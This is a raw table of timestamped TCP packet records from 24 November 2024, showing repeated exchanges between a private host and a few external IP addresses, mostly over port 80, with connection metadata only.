Nov 24, 2024 14:24:32.946252108 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.946300030 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.947274923 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.947335958 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.947417021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.947460890 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.948446035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.948487043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.948560953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.948601961 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.949620008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.949665070 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.949754953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.949804068 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.950753927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.950901985 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.950965881 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.951008081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.951905012 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.951972008 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.952008009 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.952049971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.953073978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.953121901 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.953170061 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.953213930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.953587055 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.953593969 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.954219103 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.954319954 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.954375029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.954421997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.955373049 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.955419064 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.955481052 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.955523968 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.956573009 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.956619978 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.956654072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.956697941 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.957707882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.957818031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.957838058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.957853079 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.958857059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.958901882 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.958920002 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.958965063 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.960026979 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.960072041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.960187912 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.960273981 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.961179972 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.961225033 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.961256981 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.961303949 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.962342978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.962450027 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.962485075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.962528944 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.963552952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.963593960 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.963748932 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.963824987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.964701891 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.964746952 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.964823008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.964864969 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.965811014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.965857029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.965913057 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.965956926 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.966407061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.966537952 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.966701031 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.966949940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.966990948 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.967026949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.967070103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.967354059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.968123913 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.968166113 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.968224049 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.968269110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.969293118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.969338894 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.969409943 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.969458103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.970436096 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.970480919 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.970505953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.970550060 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.971592903 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.971638918 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.971708059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.971750975 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.972745895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.972790956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.972816944 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.972862959 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.973905087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.973951101 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.974009037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.974050045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.975086927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.975132942 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.975214958 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.975265980 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.009588957 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.009630919 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.009697914 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.010567904 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.010622978 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.010648966 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.012481928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.012530088 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.013055086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.013304949 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.013387918 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.014976978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.053189993 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.053309917 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.053309917 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.054095030 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.054291010 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.078073978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.078195095 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.078454018 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.099245071 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.099317074 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.099603891 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.116612911 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.116772890 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.116796017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.116846085 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.117115021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.117161989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.117165089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.117202997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.118349075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.118397951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.118424892 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.118470907 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.119251013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.119328976 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.119385004 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.119453907 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.119471073 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.119482040 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.119515896 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.120567083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.120615959 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.120650053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.120695114 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.121329069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.121444941 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.121525049 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.121726036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.121743917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.121768951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.121789932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.122329950 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.122430086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.122554064 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.122863054 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.122909069 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.122944117 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.122991085 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.124038935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.124083996 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.124156952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.124205112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.125205040 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.125252962 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.125302076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.125349998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.126476049 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.126523972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.126562119 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.126607895 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.127573013 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.127618074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.127629042 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.127675056 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.128688097 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.128734112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.128818989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.128864050 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.129832029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.129878044 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.129905939 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.129951954 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.131006002 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.131055117 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.131120920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.131166935 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.132155895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.132203102 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.132235050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.132281065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.133434057 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.133490086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.133574009 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.133620024 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.134453058 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.134497881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.134552002 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.134597063 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.135708094 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.135756016 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.135869980 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.135912895 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.136755943 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.136801958 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.136930943 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.136971951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.137931108 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.137979984 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.138056993 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.138102055 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.139069080 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.139111042 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.139179945 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.139224052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.140261889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.140310049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.140345097 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.140391111 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.141484022 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.141530037 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.141557932 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.141601086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.142579079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.142633915 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.142663956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.142705917 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.143723011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.143770933 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.143806934 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.143852949 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.144865036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.144911051 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.144968033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.145013094 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.146035910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.146081924 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.146112919 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.146157980 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.147181034 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.147226095 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.147279978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.147330046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.148348093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.148394108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.148457050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.148504019 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.149511099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.149557114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.149558067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.149596930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.150674105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.150722027 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.150724888 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.150774956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.151838064 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.151884079 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.151904106 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.151947021 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.152973890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.153023958 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.153337955 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.153383970 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.154133081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.154179096 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.154232979 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.154274940 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.155332088 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.155376911 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.155406952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.155457020 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.156490088 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.156538963 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.156557083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.156600952 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.157648087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.157691002 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.157726049 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.157773972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.158304930 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.158365011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.158524036 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.158735037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.158778906 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.158843040 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.158891916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.159986973 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.160032034 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.160196066 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.160239935 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.161127090 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.161174059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.161248922 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.161293030 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.162293911 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.162338972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.162373066 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.162417889 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.163386106 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.163433075 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.163495064 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.163542032 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.164557934 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.164603949 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.164680004 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.164725065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.165702105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.165749073 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.165822029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.165869951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.166851997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.166897058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.167012930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.167057037 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.168045044 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.168093920 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.168150902 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.168196917 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.169203997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.169250011 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.169327974 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.169372082 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.170433044 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.170444965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.170480013 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.170497894 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.171658039 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.171705961 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.171878099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.171919107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.172832966 CET	80	49815	185.215.113.16	192.168.2.4
